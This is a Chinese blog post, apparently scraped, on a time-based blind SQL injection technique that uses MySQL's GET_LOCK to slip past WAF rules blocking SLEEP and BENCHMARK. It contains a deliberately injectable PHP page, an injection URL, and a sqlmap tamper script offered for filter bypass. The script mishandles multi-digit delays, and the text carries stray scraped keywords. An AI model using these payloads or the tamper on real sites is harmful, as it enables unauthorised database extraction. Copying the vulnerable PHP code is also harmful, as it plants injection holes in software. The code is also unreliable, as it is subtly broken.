一種新型SQL時間盲注攻擊探索

做者:@do9gyphp

SQL注入漏洞由來已久,關於盲注方面一直都是安全愛好者喜歡研究的話題。記得最先了解到DNS外傳的思路是在oldjun的博客,當時被這種技巧所吸引,不過該方法依賴於mysql版本和window環境的限制。python

 

首先介紹一下什麼是SQL盲注

在SQL注入中,每每須要引入「超出預期」的SQL語句,最好是但願將「額外」的查詢內容直接顯示在頁面上,使用的手法有:「報錯查詢(error-based)」、「聯合查詢(union-select)」。對於沒法直接回顯出內容的狀況須要依賴true/false差別判斷(boolean)、時間對比(time-based)、DNS外傳數據查詢(data exfiltration through DNS channel)等方法進行捕獲。例如:「select if(user()='root@localhost',sleep(4),null)「 當網站用戶是」root@localhost「時,會延長4秒鐘後返回結果,當用戶不是」root@localhost「時,會當即返回,由此能夠判斷系統中的用戶,利用一樣的方法能夠猜想出權限範圍內全部數據庫全部表中存放的內容。

 

關於mysql時間類型(time-based)的注入,一直以來衆所周知的有三種方法——sleep、benchmark、笛卡爾積。因此許多市面上的WAF產品也是基於此類規則去防禦的。mysql

可是sql時間類型的盲注本質是利用插入的SQL語句執行形成時間延遲,因此只要能夠大於平均網絡延遲2倍以上,就能夠做爲執行成功的判斷依據,而大多數網站的平均響應時間在100ms之內,因此咱們須要製造能達到200ms以上的時間延長的語句。web

今天咱們要提到的一個mysql函數是 get_lock函數,先來看一下mysql文檔中對其的描述:sql

GET_LOCK(str,timeout)數據庫

Tries
to obtain a lock with a name given by the string str, using a timeout of
timeout seconds. A negative timeout value means infinite timeout. The lock is
exclusive. While held by one session, other sessions cannot obtain a lock of
the same name.安全

在一個session中能夠先鎖定一個變量例如:select get_lock(‘do9gy’,1)網絡

而後經過另外一個session 再次執行get_lock函數 select get_lock(‘do9gy’,5),此時會產生5 秒的延遲,其效果相似於sleep(5)。session

 

mysql> select get_lock('do9gy',1);
+---------------------+
| get_lock('do9gy',1) |
+---------------------+
|                   1 |
+---------------------+
1 row in set (0.00 sec)

mysql> select get_lock('do9gy',5);
+---------------------+
| get_lock('do9gy',5) |
+---------------------+
|                   0 |
+---------------------+
1 row in set (5.00 sec)

 

 

因而咱們能夠,將此方法用於SQL注入的判斷,可是利用場景是有條件限制的:須要提供長鏈接。在Apache+PHP搭建的環境中須要使用 mysql_pconnect函數來鏈接數據庫。app

下面咱們給出一個示例:

 

<?php
require 'conn.php';
$id = $_GET['id'];
if(preg_match("/(sleep|benchmark|outfile|dumpfile|load_file|join)/i", $_GET['id']))
{
    die("403 forbidden!");
}
$sql = "select * from article where id='".intval($id)."'";
$res = mysql_query($sql);
if(!$res){
    die("404 not found!");
}
$row = mysql_fetch_array($res, MYSQL_ASSOC);
print_r($row);
mysql_query("update view set view_times=view_times+1 where id = '".$id." '");
?>

 

 

該案例中,咱們能夠構造SQL語句 ?id=1and get_lock(‘do9gy’,1)

注意:因爲get_lock須要變換session請求,因此當執行完第一次之後須要停滯一段時間(半分鐘左右),讓Apache從新打開一個鏈接mysql的s

ession,此時就能夠利用get_lock進行探測了。這裏給出一個基於sqlmap的tamper:

sleeptogetlock.py

 

#!/usr/bin/env python

"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces instances like 'SLEEP(A)' with "get_lock('do9gy',A)"

    Requirement:
        * MySQL

    Tested against:
        * MySQL 5.0 and 5.5

    Notes:
        * Useful to bypass very weak and bespoke web application firewalls
          that filter the SLEEP() and BENCHMARK() functions

    >>> tamper('SLEEP(2)')
    "get_lock('do9gy',2)"
    """

    if payload and payload.find("SLEEP") > -1:
        while payload.find("SLEEP(") > -1:
            index = payload.find("SLEEP(")
            depth = 1
            
            num = payload[index+6]

            
            newVal = "get_lock('do9gy',%s)" % (num)
            payload = payload[:index] + newVal + payload[index+8:]


    return payload

 

 

當遇到網站過濾單引號的狀況也可使用 get_lock(1,1) 鎖定數字變量繞過。

最後,想聲明的是本方法只是筆者依據時間注入本質原理進行的一次探索,現實環境中不必定有大量合適的環境,最重要的是保持一顆不斷突破瓶頸,抱有幻想和但願的心。若有不實之處還望諸君斧正。

相關文章
相關標籤/搜索